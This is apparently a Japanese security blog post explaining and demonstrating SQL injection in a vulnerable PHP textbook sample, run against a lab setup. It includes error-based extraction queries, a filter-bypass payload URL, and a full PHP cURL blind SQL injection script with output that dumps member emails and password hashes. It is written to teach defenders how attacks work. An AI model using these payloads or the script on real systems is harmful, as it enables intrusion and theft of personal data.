この記事はPHP Advent Calendar 2012の20日目です。昨日はTakayuki Miwaさんの「
ComposerとHerokuではじめる!PHPクラウド生活」でした。
以前、「
『よくわかるPHPの教科書』のSQLインジェクション脆弱性」というタイトルで、同書のSQLインジェクション脆弱性について説明しましたが、SQLインジェクション脆弱性のあるSQL文がDELETE FROMだったので、先のエントリでは、脆弱性の悪用方法としてはデータ(ミニブログの記事)の削除を説明しました。簡単に「全ての記事を削除できる」ので重大な脆弱性ではありますが、個人情報などが漏洩する例ではありませんでした。
このエントリでは、ブラインドSQLインジェクションという技法により、DELETE FROM文の脆弱性から、個人情報を得る手法を説明します。
脆弱性のおさらい
ここで、脆弱性のおさらいをしましょう。問題の箇所は同書P272のdelete.phpです。要点のみを示します。
$id = $_REQUEST['id']; // $id : 投稿ID
$sql = sprintf('SELECT * FROM posts WHERE id=%d', mysql_real_escape_string($id)
$record = mysql_query($sql) or die(mysql_error());
$table = mysql_fetch_assoc($record);
if ($table['member_id'] == $_SESSION['id']) { // 投稿者であれば削除
mysql_query('DELETE FROM posts WHERE id=' . mysql_real_escape_string($id)) or die(mysql_error());
}
ここには2つのSQL文が登場しますが、脆弱性があるのはDELETE FROMの方です。これがなぜ脆弱性なのかという理由については、
先のエントリを参照ください。
情報漏洩の可能性はないのか?
前述のように、任意の記事を削除することは簡単にできてしまい、これ自体重大な問題ですが、「個人情報は漏洩するのか」という点に関心を持つ方も多いことでしょう。
一般論として、SQLインジェクション攻撃により情報を窃取する方法として下記があります。
- UNION SELECTを用いる
- エラーメッセージに情報を埋め込む
- ブラインドSQLインジェクションを用いる
まず、UNION SELECTはこのケースでは使えません。UNION SELECTは、脆弱性のあるSQL文がSELECT文である場合に、別のテーブルと検索条件を追加することにより、本来表示されない情報を表示させる手法です。問題のケースでは元のSQL文がDELETE FROMなので、UNION SELECTは使えませんし、そもそも情報を表示する機能が元々ありません。
エラーメッセージを使う方法は、徳丸本でも説明しているものです。同書P121には下記の問い合わせにより、「本来表示されない情報」を表示させています。
cast((select id||':'||pwd from users offset 0 limit 1) as integer)
これは、表usersから、先頭の行を取り出し、列IDと列pwdを連結した文字列を数値にキャストしています。しかし、数値には変換できない文字が混ざっているために、以下のエラーメッセージが表示されています。
Query failed: ERROR: 型integerの入力構文が無効です: "yamada:pass1" in /var/wwww/44/44-001.php on line 7
しかし、MySQLの場合、上記と同じことをしてもエラーになりません。
mysql> select cast('yamada:pass1' as SIGNED );
+---------------------------------+
| cast('yamada:pass1' as SIGNED ) |
+---------------------------------+
| 0 |
+---------------------------------+
1 row in set, 1 warning (0.00 sec)
金床本では、load_file関数の「存在しないファイル名」としてエラーメッセージ中に、クエリ結果を混入させる手法が紹介されていますが、手元のMySQL5.1.63で試したところ、下記のようにエラーメッセージは表示されず、単にNULLが返りました。金床本のリファレンスとするMySQLは4.1.16なので、MySQLのバージョン違いによるものと思います。
mysql> select load_file('xxxx'); # xxxxは存在しないファイル名
+-------------------+
| load_file('xxxx') |
+-------------------+
| NULL |
+-------------------+
1 row in set (0.00 sec)
それでは、MySQLではエラーメッセージからの情報漏洩はできないのかというと、寺田さんのブログ記事「
MySQLのエラーメッセージ」にその方法が載っています。MySQLのextractvalue関数を使う方法です。
extractvalue関数は、XPATH式に従って文字列の切り出しをするものです。以下のように使います。
mysql> select extractvalue('<a><b>xss</b></a>', '/a/b');
+-------------------------------------------+
| extractvalue('<a><b>xss</b></a>', '/a/b') |
+-------------------------------------------+
| xss |
+-------------------------------------------+
1 row in set (0.00 sec)
extractvalue関数の第2引数はXPATH式を指定しますが、これが構文エラーの場合、以下のようにエラーになります。
mysql> SELECT extractvalue('<a><b>xss</b></a>', '/$this is a pen');
ERROR 1105 (HY000): XPATH syntax error: '$this is a pen'
これを用いて、情報を漏洩させることができます。'this is a pen'の代わりに、SQLの副問い合わせを指定すればよいことになります。下記に例を示します。
mysql> SELECT extractvalue('',concat('/$',(SELECT email FROM members LIMIT 1 OFFSET 0) ));
ERROR 1105 (HY000): XPATH syntax error: '$tokumaru@example.jp'
上記は、members表の1行目のemail列の値を副問い合わせで指定しており、「tokumaru@example.jp」を得ました。これを繰り返せば、任意表の、任意行、任意列を得ることができます。email列とpassword列を一度に得たければ、以下のようにします。
mysql> SELECT extractvalue('',concat('/$',(SELECT concat(email,':',password) FROM members LIMIT 1 OFFSET 0) ));
ERROR 1105 (HY000): XPATH syntax error: '$tokumaru@example.jp:5baa61e4c9b'
おっと、パスワードはSHA-1ハッシュ値(40文字)で格納されているのに、途中でちぎれていますね。$まであわせて32文字しか表示されないようです。これを回避するには、部分文字列の関数を用いて、何回かにわけて取得すればよいでしょう。具体例は割愛します。
さて、上記をSQLインジェクション攻撃に応用しましょう。email列の取得に戻りますが、mysql_real_escape_string関数が呼ばれているので、シングルクォートは攻撃に使えません。そのため、文字列はchar関数を使って指定します。
mysql> select char(65, 66, 67);
+------------------+
| char(65, 66, 67) |
+------------------+
| ABC |
+------------------+
先の、email列を取得するSQL文は下記となります。
mysql> select extractvalue(char(60),concat(char(47,36),(select email from members limit 1 offset 0)));
ERROR 1105 (HY000): XPATH syntax error: '$tokumaru@example.jp'
シングルクォートを使っていないので、mysql_real_escape_string関数を回避できますね。
これを副問い合わせの形で指定してやるわけですが、攻撃対象のスクリプトはSQL文を2回呼び出しており、1回目はSQLインジェクション脆弱性がなく、当該の文書IDの投稿者でないと、2回目のSQL文が呼び出されません。このため、このチェックを回避してやる必要があります。
SELECT * FROM posts WHERE id= 文書IDを数値化したもの
DELETE FROM posts WHERE id= 文書IDそのまま
1回目はsprintfの%d書式により、指定した文書IDは数値化され、2回目は数値化がありません。これを利用します。攻撃者が投稿した文書のIDが35だと仮定して、以下のように指定すればこのチェックを回避できます。文書IDとして下記を指定します。
35-(攻撃用副問い合わせ)
これを呼び出すと、1回目は数値化により-(引き算)以降が削除され、投稿者のチェックは通り抜けます。2回目は数値がないので、全体がSQL文として解釈されます。URLと実行結果を以下に示しましょう。
http://example.jp/minibbs/delete.php?id=35-(select+extractvalue(char(60),concat(char(47,36),(select+email+from+members+limit+1+offset+0))))
無事に(?)email列が表示できました。表名、列名、offset値を変更すれば、データベース内の任意の情報が取得できます。
ブラインドSQLインジェクション
SQLインジェクション攻撃により情報を窃取する第3の方法として、ブラインドSQLインジェクション攻撃があります。これは、クエリの結果が表示されない前提で、SQLインジェクションによりデータを盗みだす手法です。
ブラインドSQLインジェクションにも複数の方法があります。
- 問い合わせ結果をファイルに書き出すSQL文等を使う
- SQL文の実行結果から1ビットの情報を得て、それを繰り返す
MySQLの場合ファイルに書き出すには、SELECT ~ INTO OUTFILE構文が使えますが、私が試した範囲では、DELETE文にうまくはめこむことができませんでした。それに、書き出しができたとして、それを取り出す手段が別途必要です。簡単なのは、Webの公開領域に書き込むという方法ですが、MySQLの実行権限ではApacheのドキュメントルートに書き込むことはできない場合が多いと考えられます。PHPのセッションファイルが/tmp/ (など誰でも書き込めるディレクトリ) に置かれる場合、PHPのセッション形式にあわせて書き込んでおくという方法もありますが、このミニブログの場合、セッションの中味をそのまま表示する箇所がなさそうです。つまり、うまくいきません。
そこで、SQL文の問い合わせから1ビットの情報を取り出す手段を考えます。具体的には下記があります。
- 実行の時間差を使う
- データの更新・削除の成功・失敗を使う
- レスポンスのステータスの違い(200と500等)を使う
- SQL文からping等通信手段を呼び出す
- SQL文の実行エラーを使う(厳密なブラインドではない)
実行の時間を使うには、MySQLのsleep関数が利用できます。以下は、members表の1行目、email列の1文字目が'a'であれば3秒待つ問い合わせ。実際には't'なので、直ちにnullが返ります。
mysql> SELECT if(substr((SELECT email FROM members LIMIT 1 OFFSET 0),1,1) = 'a',sleep(3),null);
+----------------------------------------------------------------------------------+
| if(substr((SELECT email FROM members LIMIT 1 OFFSET 0),1,1) = 'a',sleep(3),null) |
+----------------------------------------------------------------------------------+
| NULL |
+----------------------------------------------------------------------------------+
1 row in set (0.01 sec)
以下は、同じく一文字目が't'であれば3秒待つ問い合わせ。't'なので約3秒待っていますね。
mysql> SELECT if(substr((SELECT email FROM members LIMIT 1 OFFSET 0),1,1) = 't',sleep(3),null);
+----------------------------------------------------------------------------------+
| if(substr((SELECT email FROM members LIMIT 1 OFFSET 0),1,1) = 't',sleep(3),null) |
+----------------------------------------------------------------------------------+
| 0 |
+----------------------------------------------------------------------------------+
1 row in set (3.02 sec)
これは理論的には正しく動きますが、容易に想像されるように膨大な時間がかかるので、「最後の手段」という感じになります。
また、副問い合わせを調節して、条件が成立すれば削除、しなければ削除しない、というSQL文も書けますが、削除できたかどうかを問い合わせるリクエストと、削除した行を「補充する」リクエストが余分に必要です。
ということで、ここでは完全なブラインドではありませんが、エラーメッセージを使うことにします。
といっても、先のextractvalue関数を使うとブラインドにする意味がないので、ここではESCAPE句を使うことにします。
ESCAPE句というのは、SQL文のLIKE述語において、ワイルドカード文字「%」や「_」をエスケープする文字を指定する手段です。以下は、#をエスケープ文字として指定して、%を含む行を問い合わせるSQL文です。
mysql> SELECT * FROM members WHERE email LIKE '%#%%' ESCAPE '#';
Empty set (0.00 sec)
ESCAPE句に指定する文字は1文字でなければならず、それ以外はエラーになります。
mysql> SELECT * FROM members WHERE email LIKE '#%' ESCAPE '##';
ERROR 1210 (HY000): Incorrect arguments to ESCAPE
これを利用して、1ビットの情報を得ることができます。
先ほどと同様に、一文字目が 'a' かどうかを問い合わせて、'a'ではないので、ESCAPE句が 'AB' (2文字)となり、エラーとなる例。
mysql> SELECT id FROM members WHERE id LIKE 'X' ESCAPE if(substr((SELECT email FROM members LIMIT 1 OFFSET 0),1,1) = 'a', 'A','AB');
ERROR 1210 (HY000): Incorrect arguments to ESCAPE
先ほどと同様に、一文字目が 't' かどうかを問い合わせて、真なので、ESCAPE句が 'A' (1文字)となり、エラーにはならない例。
mysql> SELECT id FROM members WHERE id LIKE 'X' ESCAPE if(substr((SELECT email FROM members LIMIT 1 OFFSET 0),1,1) = 't', 'A','AB');
Empty set (0.00 sec)
これを何回も繰り返すことにより、テーブルの内容を盗み出すことができます…が、さすがに人手でやるのは苦行なので、スクリプトでやります。
…ということで、実は今までは長い前置きで、ここからが本題ですw ブラインドSQLインジェクション攻撃のスクリプトをPHPで書いてみましょう。
ブラインドSQLインジェクションのPHPスクリプト
攻撃対象とはHTTPで接続するので、適当なHTTP接続ライブラリが必要になりますが、ここでは
cURL関数を使いました。前にphpMyAdminのexploitで使っていたので、試してみたかっただけです。
スクリプトの中味ですが、攻撃対象は認証が必要ですので、Cookieを有効にして、IDとパスワード(攻撃用の捨てアカウント)をPOSTします。
<?php
define('BASEURL', 'http://192.168.0.10');
define('DOCID', 18); // 攻撃者が投稿した文書のID
// 略
// cURL初期化
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
// 以下、ログイン
curl_setopt($ch, CURLOPT_URL, BASEURL . '/minibbs/login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'email=sato@example.jp&password=password&save=on');
curl_exec($ch);
この状態で、sato@example.jpでログインしてリクエストができるようになります。
攻撃で得る情報は、members表のemailとpassword列にしましょう。これらの文字種は、英数字、ドット、ハイフン、アンダースコアとして、これらの文字の集合を求めましょう。バイナリサーチの都合で文字コード順に並べておきます。
// $chars .. 探索候補文字のコードの配列
$chars = array();
for ($ch = 32; $ch < 128; $ch++) {
if (preg_match('/[\.\-\_\@0-9A-Z]/', chr($ch))) {
$chars[] = $ch;
}
}
探索のループは以下のようになります。行、列、n文字目の三重ループがあり、そのなかで、おおまかな範囲を二分探索で絞り、そこからリニアサーチで該当文字を求めています。
// 表の1行目から3行目を求めるループ
for ($num = 0; $num < 3; $num++) {
// 列emailと列passwordを求めるループ
foreach (array('email', 'password') as $colname) {
$result = '';
// 1文字目から順に求めるループ
for ($p = 1;; $p++) {
// 解が得られているかどうかのチェック
$result_array = char_array($result);
if (check1($ch, "(SELECT $colname FROM members LIMIT $num,1)=$result_array")) {
echo "match : $result\n"; // 解が得られているので表示してループ脱出
break;
}
// 以下、$p文字目を求める二分探索。ここでは大ざっぱな範囲の絞り込みのみ
$min = 0;
$max = count($chars) - 1;
while ($max - $min > 2) {
$pivot = $min + ceil(($max - $min) / 2); // ピボットの位置を計算
$chrcode = $chars[$pivot]; // ピボットの位置の文字コード
if (check1($ch, "substr((SELECT $colname FROM members LIMIT $num,1),$p,1)>=char($chrcode)")) {
$min = $pivot;
} else {
$max = $pivot - 1;
}
}
// 以下、$p文字目を求める線形探索
$found = 0;
for ($pivot = $min; $pivot <= $max; $pivot++) {
$chrcode = $chars[$pivot];
if (check1($ch, "substr((SELECT $colname FROM members LIMIT $num,1),$p,1)=char($chrcode)")) {
$found = 1;
break;
}
}
if (! $found) {
echo "not found\n";
break;
}
$result .= chr($chars[$pivot]);
}
}
}
check1関数は、ブラインドSQLインジェクションの一リクエストを組み立てて送信するものです。
function check1($ch, $condition) {
// ESCAPE句によるブラインドの定型的なSQL文
$subquery = "(SELECT id FROM members WHERE id LIKE char(88) ESCAPE if($condition,char(49),char(49,50)))";
$url = BASEURL . '/minibbs/delete.php?id=' . DOCID . '-' . urlencode($subquery);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 0);
$response = curl_exec($ch); // HTTPリクエスト発射
return ! preg_match('/Incorrect/', $response); // エラーメッセージがレスポンスになければTRUE
}
また、char_array()関数は、文字列をMySQLのchar()関数の呼び出しに変換して、シングルクォートを回避するための関数です。
function char_array($s) {
if ($s === '')
return 'char(0)';
return 'char(' . implode(',', unpack('C*', $s)) . ')';
}
実行結果を以下に示します。1行あたり1秒程度で求められていますから、結構実用的ですね。
$ time php blindsqlinjection.php
match : TOKUMARU@EXAMPLE.JP
match : 5BAA61E4C9B93F3F0682250B6CF8331B7EE68FD8
match : SATO@EXAMPLE.JP
match : 5BAA61E4C9B93F3F0682250B6CF8331B7EE68FD8
match : YAMADA@EXAMPLE.JP
match : 5BAA61E4C9B93F3F0682250B6CF8331B7EE68FD8
real 0m2.977s
user 0m0.004s
sys 0m0.508s
高速化するためには、クエリを並列化すればよいでしょう。一番外側のループをスレッド(あるいはプロセス)に割りあてて並行処理させると高速化できます。ただし、サーバーに負荷がかかり、ばれやすくなりますので、むしろゆっくり時間を掛けて攻撃した方がよいかもしれません(攻撃するなよ、絶対するなよ)。
サーバーのログを見ると、以下のようなリクエストが並びます。
192.168.0.11 - - [20/Dec/2012:13:18:47 +0900] "GET /minibbs/delete.php?id=18-%28SELECT+id+FROM+members+WHERE+id+LIKE+char%2888%29+ESCAPE+if%28substr%28%28SELECT+password+FROM+members+LIMIT+2%2C1%29%2C40%2C1%29%3E%3Dchar%2872%29%2Cchar%2849%29%2Cchar%2849%2C50%29%29%29 HTTP/1.1" 200 29
192.168.0.11 - - [20/Dec/2012:13:18:47 +0900] "GET /minibbs/delete.php?id=18-%28SELECT+id+FROM+members+WHERE+id+LIKE+char%2888%29+ESCAPE+if%28substr%28%28SELECT+password+FROM+members+LIMIT+2%2C1%29%2C40%2C1%29%3E%3Dchar%2856%29%2Cchar%2849%29%2Cchar%2849%2C50%29%29%29 HTTP/1.1" 302 -
192.168.0.11 - - [20/Dec/2012:13:18:47 +0900] "GET /minibbs/delete.php?id=18-%28SELECT+id+FROM+members+WHERE+id+LIKE+char%2888%29+ESCAPE+if%28substr%28%28SELECT+password+FROM+members+LIMIT+2%2C1%29%2C40%2C1%29%3E%3Dchar%2867%29%2Cchar%2849%29%2Cchar%2849%2C50%29%29%29 HTTP/1.1" 200 29
192.168.0.11 - - [20/Dec/2012:13:18:47 +0900] "GET /minibbs/delete.php?id=18-%28SELECT+id+FROM+members+WHERE+id+LIKE+char%2888%29+ESCAPE+if%28substr%28%28SELECT+password+FROM+members+LIMIT+2%2C1%29%2C40%2C1%29%3E%3Dchar%2864%29%2Cchar%2849%29%2Cchar%2849%2C50%29%29%29 HTTP/1.1" 200 29
192.168.0.11 - - [20/Dec/2012:13:18:47 +0900] "GET /minibbs/delete.php?id=18-%28SELECT+id+FROM+members+WHERE+id+LIKE+char%2888%29+ESCAPE+if%28substr%28%28SELECT+password+FROM+members+LIMIT+2%2C1%29%2C40%2C1%29%3Dchar%2856%29%2Cchar%2849%29%2Cchar%2849%2C50%29%29%29 HTTP/1.1" 302 -
192.168.0.11 - - [20/Dec/2012:13:18:47 +0900] "GET /minibbs/delete.php?id=18-%28SELECT+id+FROM+members+WHERE+id+LIKE+char%2888%29+ESCAPE+if%28%28SELECT+password+FROM+members+LIMIT+2%2C1%29%3Dchar%2853%2C66%2C65%2C65%2C54%2C49%2C69%2C52%2C67%2C57%2C66%2C57%2C51%2C70%2C51%2C70%2C48%2C54%2C56%2C50%2C50%2C53%2C48%2C66%2C54%2C67%2C70%2C56%2C51%2C51%2C49%2C66%2C55%2C69%2C69%2C54%2C56%2C70%2C68%2C56%29%2Cchar%2849%29%2Cchar%2849%2C50%29%29%29 HTTP/1.1" 302 -
まとめ
『よくわかるPHPの教科書』の脆弱性のあるサンプルを題材として、SQLインジェクション攻撃により個人情報を窃取する方法を説明しました。善良な皆様が攻撃方法を深く理解する必要はないわけですが、ここに示すような手法を駆使して、攻撃者は情報をとっていくという、その様子を理解いただければ幸いです。
当然ながら、インターネット上のサイトにこの種の攻撃をかけると、不正アクセス禁止法その他の法令違反ですので、試験環境での実験にとどめて下さい。